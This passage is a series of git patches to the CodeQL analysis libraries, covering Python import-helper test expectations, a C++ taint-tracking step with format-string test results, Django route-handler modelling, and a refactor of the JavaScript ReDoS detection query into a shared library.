`foo` part of `from foo import bar as baz` to From e6e1cc239872f6719c32d34e531a43fa54742e1a Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Fri, 18 Dec 2020 13:38:14 +0100 Subject: [PATCH 0316/1241] Python: Remember to accept failing tests --- .../import-helper/ImportHelper.expected | 22 ++++++++----------- 1 file changed, 9 insertions(+), 13 deletions(-) diff --git a/python/ql/test/experimental/dataflow/import-helper/ImportHelper.expected b/python/ql/test/experimental/dataflow/import-helper/ImportHelper.expected index cbf4f673237..9d263331f6a 100644 --- a/python/ql/test/experimental/dataflow/import-helper/ImportHelper.expected +++ b/python/ql/test/experimental/dataflow/import-helper/ImportHelper.expected @@ -1,27 +1,23 @@ | test1.py:1:8:1:12 | ControlFlowNode for ImportExpr | mypkg | -| test1.py:1:8:1:12 | GSSA Variable mypkg | mypkg | | test2.py:1:6:1:10 | ControlFlowNode for ImportExpr | mypkg | | test2.py:1:6:1:10 | ControlFlowNode for ImportExpr | mypkg | -| test2.py:1:19:1:21 | GSSA Variable foo | mypkg.foo | -| test2.py:1:24:1:26 | GSSA Variable bar | mypkg.bar | +| test2.py:1:19:1:21 | ControlFlowNode for ImportMember | mypkg.foo | +| test2.py:1:24:1:26 | ControlFlowNode for ImportMember | mypkg.bar | +| test3.py:1:8:1:16 | ControlFlowNode for ImportExpr | mypkg | | test3.py:1:8:1:16 | ControlFlowNode for ImportExpr | mypkg.foo | +| test3.py:2:8:2:16 | ControlFlowNode for ImportExpr | mypkg | | test3.py:2:8:2:16 | ControlFlowNode for ImportExpr | mypkg.bar | -| test3.py:2:8:2:16 | GSSA Variable mypkg | mypkg | | test4.py:1:8:1:16 | ControlFlowNode for ImportExpr | mypkg.foo | -| test4.py:1:21:1:24 | GSSA Variable _foo | mypkg.foo | | test4.py:2:8:2:16 | ControlFlowNode for ImportExpr | mypkg.bar | -| test4.py:2:21:2:24 | GSSA Variable _bar | mypkg.bar | | test5.py:1:8:1:12 | ControlFlowNode for ImportExpr | mypkg | -| test5.py:1:8:1:12 | GSSA Variable mypkg | mypkg | | test5.py:9:6:9:10 | ControlFlowNode for ImportExpr | mypkg | -| test5.py:9:26:9:29 | GSSA Variable _bar | mypkg.bar | +| test5.py:9:19:9:29 | ControlFlowNode for ImportMember | mypkg.bar | | test6.py:1:8:1:12 | ControlFlowNode for ImportExpr | mypkg | -| test6.py:1:8:1:12 | GSSA Variable mypkg | mypkg | +| test6.py:5:8:5:16 | ControlFlowNode for ImportExpr | mypkg | | test6.py:5:8:5:16 | ControlFlowNode for ImportExpr | mypkg.foo | -| test6.py:5:8:5:16 | GSSA Variable mypkg | mypkg | | test7.py:1:6:1:10 | ControlFlowNode for ImportExpr | mypkg | -| test7.py:1:19:1:21 | GSSA Variable foo | mypkg.foo | +| test7.py:1:19:1:21 | ControlFlowNode for ImportMember | mypkg.foo | +| test7.py:5:8:5:16 | ControlFlowNode for ImportExpr | mypkg | | test7.py:5:8:5:16 | ControlFlowNode for ImportExpr | mypkg.foo | -| test7.py:5:8:5:16 | GSSA Variable mypkg | mypkg | | test7.py:9:6:9:10 | ControlFlowNode for ImportExpr | mypkg | -| test7.py:9:19:9:21 | GSSA Variable foo | mypkg.foo | +| test7.py:9:19:9:21 | ControlFlowNode for ImportMember | mypkg.foo | From f5e47256423efc48320ccd0fff3b92b9dcdd70ee Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 18 Dec 2020 13:54:34 +0100 Subject: [PATCH 0317/1241] C++: Propagate flow from instruction's to non-exact operands for arrays and unions, and accept test changes. --- .../code/cpp/ir/dataflow/DefaultTaintTracking.qll | 13 +++++++++++++ ...ncontrolledFormatStringThroughGlobalVar.expected | 8 ++++++++ 2 files changed, 21 insertions(+) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll index d552e56f353..b75c0cdbaff 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll @@ -210,6 +210,19 @@ private predicate commonTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode } private predicate instructionToOperandTaintStep(Instruction fromInstr, Operand toOperand) { + // Propagate flow from the definition of an operand to the operand, even when the overlap is inexact. + // We only do this in certain cases: + // 1. The instruction's result must not be conflated, and + // 2. The instruction's result type is one the types where we expect element-to-object flow. Currently + // this array types and union types. This matches the other two cases of element-to-object flow in + // `DefaultTaintTracking`. + toOperand.getAnyDef() = fromInstr and + not fromInstr.isResultConflated() and + ( + fromInstr.getResultType() instanceof ArrayType or + fromInstr.getResultType() instanceof Union + ) + or exists(ReadSideEffectInstruction readInstr | fromInstr = readInstr.getArgumentDef() and toOperand = readInstr.getSideEffectOperand() diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/globalVars/UncontrolledFormatStringThroughGlobalVar.expected b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/globalVars/UncontrolledFormatStringThroughGlobalVar.expected index 826a659755d..6e90a21c7e1 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/globalVars/UncontrolledFormatStringThroughGlobalVar.expected +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/globalVars/UncontrolledFormatStringThroughGlobalVar.expected @@ -4,12 +4,14 @@ edges | globalVars.c:8:7:8:10 | copy | globalVars.c:27:9:27:12 | copy | | globalVars.c:8:7:8:10 | copy | globalVars.c:30:15:30:18 | copy | | globalVars.c:8:7:8:10 | copy | globalVars.c:30:15:30:18 | copy | +| globalVars.c:8:7:8:10 | copy | globalVars.c:30:15:30:18 | copy | | globalVars.c:8:7:8:10 | copy | globalVars.c:35:11:35:14 | copy | | globalVars.c:9:7:9:11 | copy2 | globalVars.c:38:9:38:13 | copy2 | | globalVars.c:9:7:9:11 | copy2 | globalVars.c:38:9:38:13 | copy2 | | globalVars.c:9:7:9:11 | copy2 | globalVars.c:38:9:38:13 | copy2 | | globalVars.c:9:7:9:11 | copy2 | globalVars.c:41:15:41:19 | copy2 | | globalVars.c:9:7:9:11 | copy2 | globalVars.c:41:15:41:19 | copy2 | +| globalVars.c:9:7:9:11 | copy2 | globalVars.c:41:15:41:19 | copy2 | | globalVars.c:9:7:9:11 | copy2 | globalVars.c:50:9:50:13 | copy2 | | globalVars.c:9:7:9:11 | copy2 | globalVars.c:50:9:50:13 | copy2 | | globalVars.c:9:7:9:11 | copy2 | globalVars.c:50:9:50:13 | copy2 | @@ -25,9 +27,15 @@ edges | globalVars.c:24:11:24:14 | argv | globalVars.c:11:22:11:25 | argv | | globalVars.c:27:9:27:12 | copy | globalVars.c:27:9:27:12 | (const char *)... | | globalVars.c:27:9:27:12 | copy | globalVars.c:27:9:27:12 | copy | +| globalVars.c:30:15:30:18 | copy | globalVars.c:30:15:30:18 | copy | +| globalVars.c:30:15:30:18 | copy | globalVars.c:30:15:30:18 | copy | +| globalVars.c:30:15:30:18 | copy | globalVars.c:30:15:30:18 | copy | | globalVars.c:35:11:35:14 | copy | globalVars.c:15:21:15:23 | val | | globalVars.c:38:9:38:13 | copy2 | globalVars.c:38:9:38:13 | (const char *)... | | globalVars.c:38:9:38:13 | copy2 | globalVars.c:38:9:38:13 | copy2 | +| globalVars.c:41:15:41:19 | copy2 | globalVars.c:41:15:41:19 | copy2 | +| globalVars.c:41:15:41:19 | copy2 | globalVars.c:41:15:41:19 | copy2 | +| globalVars.c:41:15:41:19 | copy2 | globalVars.c:41:15:41:19 | copy2 | | globalVars.c:50:9:50:13 | copy2 | globalVars.c:50:9:50:13 | (const char *)... | | globalVars.c:50:9:50:13 | copy2 | globalVars.c:50:9:50:13 | copy2 | nodes From b5102043b1d731e19093e02c8578fb5eb3a307ba Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 18 Dec 2020 14:19:02 +0100 Subject: [PATCH 0318/1241] Fix comments. --- .../semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll index b75c0cdbaff..2159cbb25b7 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll @@ -214,7 +214,7 @@ private predicate instructionToOperandTaintStep(Instruction fromInstr, Operand t // We only do this in certain cases: // 1. The instruction's result must not be conflated, and // 2. The instruction's result type is one the types where we expect element-to-object flow. Currently - // this array types and union types. This matches the other two cases of element-to-object flow in + // this is array types and union types. This matches the other two cases of element-to-object flow in // `DefaultTaintTracking`. toOperand.getAnyDef() = fromInstr and not fromInstr.isResultConflated() and @@ -326,14 +326,15 @@ private predicate operandToInstructionTaintStep(Operand fromOperand, Instruction // Until we have from through indirections across calls, we'll take flow out // of the parameter and into its indirection. // `InitializeIndirectionInstruction` only has a single operand: the address of the - // value whose direction we are initializing. When initializing an indirection of a parameter `p`, + // value whose indirection we are initializing. When initializing an indirection of a parameter `p`, // the IR looks like this: // ``` // m1 = InitializeParameter[p] : &r1 // r2 = Load[p] : r2, m1 // m3 = InitializeIndirection[p] : &r2 // ``` - // So by having flow from r2 to m3 we're enabling flow from `m1` to `m3`. + // So by having flow from `r2` to `m3` we're enabling flow from `m1` to `m3`. This relies on the + // `LoadOperand`'s overlap being exact. toInstr.(InitializeIndirectionInstruction).getAnOperand() = fromOperand } From ed11e8f916433baaa33b43790def97f1bad62a4b Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Fri, 18 Dec 2020 14:52:20 +0100 Subject: [PATCH 0319/1241] Python: Simplify predicate implementation Co-authored-by: yoff --- python/ql/src/semmle/python/frameworks/Django.qll | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index 272e4a3e188..3d1e44814dc 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -1747,13 +1747,11 @@ private module Django { abstract DataFlow::Node getViewArg(); final override DjangoRouteHandler getARouteHandler() { - exists(DataFlow::Node viewArg | viewArg = getViewArg() | - djangoRouteHandlerFunctionTracker(result) = viewArg - or - exists(DjangoViewClassDef vc | - viewArg = vc.asViewResult() and - result = vc.getARouteHandler() - ) + djangoRouteHandlerFunctionTracker(result) = getViewArg() + or + exists(DjangoViewClassDef vc | + getViewArg() = vc.asViewResult() and + result = vc.getARouteHandler() ) } } From 3e6296c7b83596f2d12d348f77b5ae8dd3f63f18 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Fri, 18 Dec 2020 14:54:14 +0100 Subject: [PATCH 0320/1241] Python: Fix grammar in QLDoc --- python/ql/src/semmle/python/frameworks/Django.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index 3d1e44814dc..f189a3db3e3 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -1705,7 +1705,7 @@ private module Django { /** Gets a reference to the `as_view` classmethod of this class. */ DataFlow::Node asViewRef() { result = this.asViewRef(DataFlow::TypeTracker::end()) } - /** Gets a reference to a the result of calling the `as_view` classmethod of this class. */ + /** Gets a reference to the result of calling the `as_view` classmethod of this class. */ private DataFlow::Node asViewResult(DataFlow::TypeTracker t) { t.start() and result.asCfgNode().(CallNode).getFunction() = this.asViewRef().asCfgNode() @@ -1713,7 +1713,7 @@ private module Django { exists(DataFlow::TypeTracker t2 | result = asViewResult(t2).track(t2, t)) } - /** Gets a reference to a the result of calling the `as_view` classmethod of this class. */ + /** Gets a reference to the result of calling the `as_view` classmethod of this class. */ DataFlow::Node asViewResult() { result = asViewResult(DataFlow::TypeTracker::end()) } } From 34dda6d38bb488f9b0f8302f30640ebdf0922e9f Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Tue, 15 Dec 2020 00:18:13 +0100 Subject: [PATCH 0321/1241] refactor to share predicates between regular expression queries --- javascript/ql/src/Performance/ReDoS.ql | 888 +---------------- .../security/performance/ReDoSUtil.qll | 930 ++++++++++++++++++ .../performance/SuperlinearBackTracking.qll | 14 +- 3 files changed, 941 insertions(+), 891 deletions(-) create mode 100644 javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index 495db3ae659..077ab29fcf7 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -13,7 +13,7 @@ */ import javascript -import semmle.javascript.security.performance.SuperlinearBackTracking +import semmle.javascript.security.performance.ReDoSUtil /* * This query implements the analysis described in the following two papers: @@ -80,35 +80,11 @@ import semmle.javascript.security.performance.SuperlinearBackTracking */ /** - * A branch in a disjunction that is the root node in a literal, or a literal - * whose root node is not a disjunction. + * Holds if state `s` might be inside a backtracking repetition. */ -class RegExpRoot extends RegExpTerm { - RegExpParent parent; - - RegExpRoot() { - exists(RegExpAlt alt | - alt.isRootTerm() and - this = alt.getAChild() and - parent = alt.getParent() - ) - or - this.isRootTerm() and - not this instanceof RegExpAlt and - parent = this.getParent() - } - - /** - * Holds if this root term is relevant to the ReDoS analysis. - */ - predicate isRelevant() { - // there is at least one repetition - exists(MaybeBacktrackingRepetition rep | getRoot(rep) = this) and - // there are no lookbehinds - not exists(RegExpLookbehind lbh | getRoot(lbh) = this) and - // is actually used as a RegExp - isUsedAsRegExp() - } +pragma[noinline] +predicate stateInsideBacktracking(State s) { + s.getRepr().getParent*() instanceof MaybeBacktrackingRepetition } /** @@ -125,503 +101,6 @@ class MaybeBacktrackingRepetition extends InfiniteRepetitionQuantifier { } } -/** - * A constant in a regular expression that represents valid Unicode character(s). - */ -class RegexpCharacterConstant extends RegExpConstant { - RegexpCharacterConstant() { this.isCharacter() } -} - -/** - * Gets the root containing the given term, that is, the root of the literal, - * or a branch of the root disjunction. - */ -RegExpRoot getRoot(RegExpTerm term) { - result = term or - result = getRoot(term.getParent()) -} - -/** - * An abstract input symbol, representing a set of concrete characters. - */ -newtype TInputSymbol = - /** An input symbol corresponding to character `c`. */ - Char(string c) { - c = any(RegexpCharacterConstant cc | getRoot(cc).isRelevant()).getValue().charAt(_) - } or - /** - * An input symbol representing all characters matched by - * (non-universal) character class `recc`. - */ - CharClass(RegExpTerm recc) { - getRoot(recc).isRelevant() and - ( - recc instanceof RegExpCharacterClass and - not recc.(RegExpCharacterClass).isUniversalClass() - or - recc instanceof RegExpCharacterClassEscape - ) - } or - /** An input symbol representing all characters matched by `.`. */ - Dot() or - /** An input symbol representing all characters. */ - Any() or - /** An epsilon transition in the automaton. */ - Epsilon() - -/** - * Holds if `a` and `b` are input symbols from the same regexp. - * (And not a `Dot()`, `Any()` or `Epsilon()`) - */ -private predicate sharesRoot(TInputSymbol a, TInputSymbol b) { - exists(RegExpRoot root | - belongsTo(a, root) and - belongsTo(b, root) - ) -} - -/** - * Holds if the `a` is an input symbol from a regexp that has root `root`. - */ -private predicate belongsTo(TInputSymbol a, RegExpRoot root) { - exists(RegExpTerm term | getRoot(term) = root | - a = Char(term.(RegexpCharacterConstant).getValue().charAt(_)) - or - a = CharClass(term) - ) -} - -/** - * An abstract input symbol, representing a set of concrete characters. - */ -class InputSymbol extends TInputSymbol { - InputSymbol() { not this instanceof Epsilon } - - string toString() { - this = Char(result) - or - result = any(RegExpTerm recc | this = CharClass(recc)).toString() - or - this = Dot() and result = "." - or - this = Any() and result = "[^]" - } -} - -/** - * An abstract input symbol that represents a character class. - */ -abstract class CharacterClass extends InputSymbol { - /** - * Gets a character that is relevant for intersection-tests involving this - * character class. - * - * Specifically, this is any of the characters mentioned explicitly in the - * character class, offset by one if it is inverted. For character class escapes, - * the result is as if the class had been written out as a series of intervals. - * - * This set is large enough to ensure that for any two intersecting character - * classes, one contains a relevant character from the other. - */ - abstract string getARelevantChar(); - - /** - * Holds if this character class matches `char`. - */ - bindingset[char] - abstract predicate matches(string char); - - /** - * Gets a character matched by this character class. - */ - string choose() { result = getARelevantChar() and matches(result) } -} - -/** - * Provides implementations for `CharacterClass`. - */ -private module CharacterClasses { - /** - * Holds if the character class `cc` has a child (constant or range) that matches `char`. - */ - pragma[noinline] - predicate hasChildThatMatches(RegExpCharacterClass cc, string char) { - exists(CharClass(cc)) and - exists(RegExpTerm child | child = cc.getAChild() | - char = child.(RegexpCharacterConstant).getValue() - or - rangeMatchesOnLetterOrDigits(child, char) - or - not rangeMatchesOnLetterOrDigits(child, _) and - char = getARelevantChar() and - exists(string lo, string hi | child.(RegExpCharacterRange).isRange(lo, hi) | - lo <= char and - char <= hi - ) - or - exists(RegExpCharacterClassEscape escape | escape = child | - escape.getValue() = escape.getValue().toLowerCase() and - classEscapeMatches(escape.getValue(), char) - or - char = getARelevantChar() and - escape.getValue() = escape.getValue().toUpperCase() and - not classEscapeMatches(escape.getValue().toLowerCase(), char) - ) - ) - } - - /** - * Holds if `range` is a range on lower-case, upper-case, or digits, and matches `char`. - * This predicate is used to restrict the searchspace for ranges by only joining `getAnyPossiblyMatchedChar` - * on a few ranges. - */ - private predicate rangeMatchesOnLetterOrDigits(RegExpCharacterRange range, string char) { - exists(string lo, string hi | - range.isRange(lo, hi) and lo = lowercaseLetter() and hi = lowercaseLetter() - | - lo <= char and - char <= hi and - char = lowercaseLetter() - ) - or - exists(string lo, string hi | - range.isRange(lo, hi) and lo = upperCaseLetter() and hi = upperCaseLetter() - | - lo <= char and - char <= hi and - char = upperCaseLetter() - ) - or - exists(string lo, string hi | range.isRange(lo, hi) and lo = digit() and hi = digit() | - lo <= char and - char <= hi and - char = digit() - ) - } - - private string lowercaseLetter() { result = "abdcefghijklmnopqrstuvwxyz".charAt(_) } - - private string upperCaseLetter() { result = "ABCDEFGHIJKLMNOPQRSTUVWXYZ".charAt(_) } - - private string digit() { result = [0 .. 9].toString() } - - /** - * Gets a char that could be matched by a regular expression. - * Includes all printable ascii chars, all constants mentioned in a regexp, and all chars matches by the regexp `/\s|\d|\w/`. - */ - string getARelevantChar() { - exists(ascii(result)) - or - exists(RegexpCharacterConstant c | result = c.getValue().charAt(_)) - or - classEscapeMatches(_, result) - } - - /** - * Gets a char that is mentioned in the character class `c`. - */ - private string getAMentionedChar(RegExpCharacterClass c) { - exists(RegExpTerm child | child = c.getAChild() | - result = child.(RegexpCharacterConstant).getValue() - or - child.(RegExpCharacterRange).isRange(result, _) - or - child.(RegExpCharacterRange).isRange(_, result) - or - exists(RegExpCharacterClassEscape escape | child = escape | - result = min(string s | classEscapeMatches(escape.getValue().toLowerCase(), s)) - or - result = max(string s | classEscapeMatches(escape.getValue().toLowerCase(), s)) - ) - ) - } - - /** - * An implementation of `CharacterClass` for positive (non inverted) character classes. - */ - private class PositiveCharacterClass extends CharacterClass { - RegExpCharacterClass cc; - - PositiveCharacterClass() { this = CharClass(cc) and not cc.isInverted() } - - override string getARelevantChar() { result = getAMentionedChar(cc) } - - override predicate matches(string char) { hasChildThatMatches(cc, char) } - } - - /** - * An implementation of `CharacterClass` for inverted character classes. - */ - private class InvertedCharacterClass extends CharacterClass { - RegExpCharacterClass cc; - - InvertedCharacterClass() { this = CharClass(cc) and cc.isInverted() } - - override string getARelevantChar() { - result = nextChar(getAMentionedChar(cc)) or - nextChar(result) = getAMentionedChar(cc) - } - - bindingset[char] - override predicate matches(string char) { not hasChildThatMatches(cc, char) } - } - - /** - * Holds if the character class escape `clazz` (\d, \s, or \w) matches `char`. - */ - pragma[noinline] - private predicate classEscapeMatches(string clazz, string char) { - clazz = "d" and - char = "0123456789".charAt(_) - or - clazz = "s" and - ( - char = [" ", "\t", "\r", "\n"] - or - char = getARelevantChar() and - char.regexpMatch("\\u000b|\\u000c") // \v|\f (vertical tab | form feed) - ) - or - clazz = "w" and - char = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_".charAt(_) - } - - /** - * An implementation of `CharacterClass` for \d, \s, and \w. - */ - private class PositiveCharacterClassEscape extends CharacterClass { - RegExpCharacterClassEscape cc; - - PositiveCharacterClassEscape() { this = CharClass(cc) and cc.getValue() = ["d", "s", "w"] } - - override string getARelevantChar() { - cc.getValue() = "d" and - result = ["0", "9"] - or - cc.getValue() = "s" and - result = [" "] - or - cc.getValue() = "w" and - result = ["a", "Z", "_", "0", "9"] - } - - override predicate matches(string char) { classEscapeMatches(cc.getValue(), char) } - - override string choose() { - cc.getValue() = "d" and - result = "9" - or - cc.getValue() = "s" and - result = [" "] - or - cc.getValue() = "w" and - result = "a" - } - } - - /** - * An implementation of `CharacterClass` for \D, \S, and \W. - */ - private class NegativeCharacterClassEscape extends CharacterClass { - RegExpCharacterClassEscape cc; - - NegativeCharacterClassEscape() { this = CharClass(cc) and cc.getValue() = ["D", "S", "W"] } - - override string getARelevantChar() { - cc.getValue() = "D" and - result = ["a", "Z", "!"] - or - cc.getValue() = "S" and - result = ["a", "9", "!"] - or - cc.getValue() = "W" and - result = [" ", "!"] - } - - bindingset[char] - override predicate matches(string char) { - not classEscapeMatches(cc.getValue().toLowerCase(), char) - } - } -} - -newtype TState = - Match(RegExpTerm t, int i) { - getRoot(t).isRelevant() and - ( - i = 0 - or - exists(t.(RegexpCharacterConstant).getValue().charAt(i)) - ) - } or - Accept(RegExpRoot l) { l.isRelevant() } or - AcceptAnySuffix(RegExpRoot l) { l.isRelevant() } - -/** - * A state in the NFA corresponding to a regular expression. - * - * Each regular expression literal `l` has one accepting state - * `Accept(l)`, one state that accepts all suffixes `AcceptAnySuffix(l)`, - * and a state `Match(t, i)` for every subterm `t`, - * which represents the state of the NFA before starting to - * match `t`, or the `i`th character in `t` if `t` is a constant. - */ -class State extends TState { - RegExpTerm repr; - - State() { - this = Match(repr, _) or - this = Accept(repr) or - this = AcceptAnySuffix(repr) - } - - string toString() { - exists(int i | this = Match(repr, i) | result = "Match(" + repr + "," + i + ")") - or - this instanceof Accept and - result = "Accept(" + repr + ")" - or - this instanceof AcceptAnySuffix and - result = "AcceptAny(" + repr + ")" - } - - Location getLocation() { result = repr.getLocation() } - - /** - * Gets the term represented by this state. - */ - RegExpTerm getRepr() { result = repr } -} - -class EdgeLabel extends TInputSymbol { - string toString() { - this = Epsilon() and result = "" - or - exists(InputSymbol s | this = s and result = s.toString()) - } -} - -/** - * Gets the state before matching `t`. - */ -pragma[inline] -State before(RegExpTerm t) { result = Match(t, 0) } - -/** - * Gets a state the NFA may be in after matching `t`. - */ -State after(RegExpTerm t) { - exists(RegExpAlt alt | t = alt.getAChild() | result = after(alt)) - or - exists(RegExpSequence seq, int i | t = seq.getChild(i) | - result = before(seq.getChild(i + 1)) - or - i + 1 = seq.getNumChild() and result = after(seq) - ) - or - exists(RegExpGroup grp | t = grp.getAChild() | result = after(grp)) - or - exists(RegExpStar star | t = star.getAChild() | result = before(star)) - or - exists(RegExpPlus plus | t = plus.getAChild() | - result = before(plus) or - result = after(plus) - ) - or - exists(RegExpOpt opt | t = opt.getAChild() | result = after(opt)) - or - exists(RegExpRoot root | t = root | result = AcceptAnySuffix(root)) -} - -/** - * Holds if the NFA has a transition from `q1` to `q2` labelled with `lbl`. - */ -predicate delta(State q1, EdgeLabel lbl, State q2) { - exists(RegexpCharacterConstant s, int i | - q1 = Match(s, i) and - lbl = Char(s.getValue().charAt(i)) and - ( - q2 = Match(s, i + 1) - or - s.getValue().length() = i + 1 and - q2 = after(s) - ) - ) - or - exists(RegExpDot dot | q1 = before(dot) and q2 = after(dot) | - if dot.getLiteral().isDotAll() then lbl = Any() else lbl = Dot() - ) - or - exists(RegExpCharacterClass cc | - cc.isUniversalClass() and q1 = before(cc) and lbl = Any() and q2 = after(cc) - or - q1 = before(cc) and - lbl = CharClass(cc) and - q2 = after(cc) - ) - or - exists(RegExpCharacterClassEscape cc | - q1 = before(cc) and - lbl = CharClass(cc) and - q2 = after(cc) - ) - or - exists(RegExpAlt alt | lbl = Epsilon() | q1 = before(alt) and q2 = before(alt.getAChild())) - or - exists(RegExpSequence seq | lbl = Epsilon() | q1 = before(seq) and q2 = before(seq.getChild(0))) - or - exists(RegExpGroup grp | lbl = Epsilon() | q1 = before(grp) and q2 = before(grp.getChild(0))) - or - exists(RegExpStar star | lbl = Epsilon() | - q1 = before(star) and q2 = before(star.getChild(0)) - or - q1 = before(star) and q2 = after(star) - ) - or - exists(RegExpPlus plus | lbl = Epsilon() | q1 = before(plus) and q2 = before(plus.getChild(0))) - or - exists(RegExpOpt opt | lbl = Epsilon() | - q1 = before(opt) and q2 = before(opt.getChild(0)) - or - q1 = before(opt) and q2 = after(opt) - ) - or - exists(RegExpRoot root | q1 = AcceptAnySuffix(root) | - lbl = Any() and q2 = q1 - or - lbl = Epsilon() and q2 = Accept(root) - ) - or - exists(RegExpDollar dollar | q1 = before(dollar) | - lbl = Epsilon() and q2 = Accept(getRoot(dollar)) - ) -} - -/** - * Gets a state that `q` has an epsilon transition to. - */ -State epsilonSucc(State q) { delta(q, Epsilon(), result) } - -/** - * Gets a state that has an epsilon transition to `q`. - */ -State epsilonPred(State q) { q = epsilonSucc(result) } - -/** - * Holds if there is a state `q` that can be reached from `q1` - * along epsilon edges, such that there is a transition from - * `q` to `q2` that consumes symbol `s`. - */ -predicate deltaClosed(State q1, InputSymbol s, State q2) { delta(epsilonSucc*(q1), s, q2) } - -/** - * Holds if state `s` might be inside a backtracking repetition. - */ -pragma[noinline] -predicate stateInsideBacktracking(State s) { - s.getRepr().getParent*() instanceof MaybeBacktrackingRepetition -} - /** * A state in the product automaton. * @@ -759,96 +238,6 @@ class Trace extends TTrace { } } -/** - * Gets the minimum char that is matched by both the character classes `c` and `d`. - */ -private string getMinOverlapBetweenCharacterClasses(CharacterClass c, CharacterClass d) { - result = min(getAOverlapBetweenCharacterClasses(c, d)) -} - -/** - * Gets a char that is matched by both the character classes `c` and `d`. - * And `c` and `d` is not the same character class. - */ -private string getAOverlapBetweenCharacterClasses(CharacterClass c, CharacterClass d) { - sharesRoot(c, d) and - result = [c.getARelevantChar(), d.getARelevantChar()] and - c.matches(result) and - d.matches(result) and - not c = d -} - -/** - * Gets a character that is represented by both `c` and `d`. - */ -string intersect(InputSymbol c, InputSymbol d) { - c = Char(result) and - d = getAnInputSymbolMatching(result) and - ( - sharesRoot(c, d) - or - d = Dot() - or - d = Any() - ) - or - result = getMinOverlapBetweenCharacterClasses(c, d) - or - result = c.(CharacterClass).choose() and - ( - d = c - or - d = Dot() and - not (result = "\n" or result = "\r") - or - d = Any() - ) - or - c = Dot() and - ( - d = Dot() and result = "a" - or - d = Any() and result = "a" - ) - or - c = Any() and d = Any() and result = "a" - or - result = intersect(d, c) -} - -/** - * Gets a symbol that matches `char`. - */ -bindingset[char] -InputSymbol getAnInputSymbolMatching(string char) { - result = Char(char) - or - result.(CharacterClass).matches(char) - or - result = Dot() and - not (char = "\n" or char = "\r") - or - result = Any() -} - -/** - * Gets the char after `c` (from a simplified ASCII table). - */ -string nextChar(string c) { exists(int code | code = ascii(c) | code + 1 = ascii(result)) } - -/** - * Gets an approximation for the ASCII code for `char`. - * Only the easily printable chars are included (so no newline, tab, null, etc). - */ -int ascii(string char) { - char = - rank[result](string c | - c = - "! \"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" - .charAt(_) - ) -} - /** * Gets a string corresponding to the trace `t`. */ @@ -903,273 +292,16 @@ predicate isPumpable(State fork, string w) { } /** - * Predicates for constructing a prefix string that leads to a given state. + * An instantiation of `ReDoSConfiguration` for exponential backtracking. */ -module PrefixConstruction { - /** - * Holds if `state` starts the string matched by the regular expression. - */ - private predicate isStartState(State state) { - state instanceof StateInPumpableRegexp and - ( - state = Match(any(RegExpRoot r), _) - or - exists(RegExpCaret car | state = after(car)) - ) - } +class ExponentialReDoSConfiguration extends ReDoSConfiguration { + ExponentialReDoSConfiguration() { this = "ExponentialReDoSConfiguration" } - /** - * Holds if `state` is the textually last start state for the regular expression. - */ - private predicate lastStartState(State state) { - exists(RegExpRoot root | - state = - max(State s, Location l | - isStartState(s) and getRoot(s.getRepr()) = root and l = s.getRepr().getLocation() - | - s order by l.getStartLine(), l.getStartColumn() - ) - ) - } - - /** - * Holds if there exists any transition (Epsilon() or other) from `a` to `b`. - */ - private predicate existsTransition(State a, State b) { delta(a, _, b) } - - /** - * Gets the minimum number of transitions it takes to reach `state` from the `start` state. - */ - int prefixLength(State start, State state) = - shortestDistances(lastStartState/1, existsTransition/2)(start, state, result) - - /** - * Gets the minimum number of transitions it takes to reach `state` from the start state. - */ - private int lengthFromStart(State state) { result = prefixLength(_, state) } - - /** - * Gets a string for which the regular expression will reach `state`. - * - * Has at most one result for any given `state`. - * This predicate will not always have a result even if there is a ReDoS issue in - * the regular expression. - */ - string prefix(State state) { - lastStartState(state) and - result = "" - or - // the search stops past the last redos candidate state. - lengthFromStart(state) <= max(lengthFromStart(any(State s | isReDoSCandidate(s, _)))) and - exists(State prev | - // select a unique predecessor (by an arbitrary measure) - prev = - min(State s, Location loc | - lengthFromStart(s) = lengthFromStart(state) - 1 and - loc = 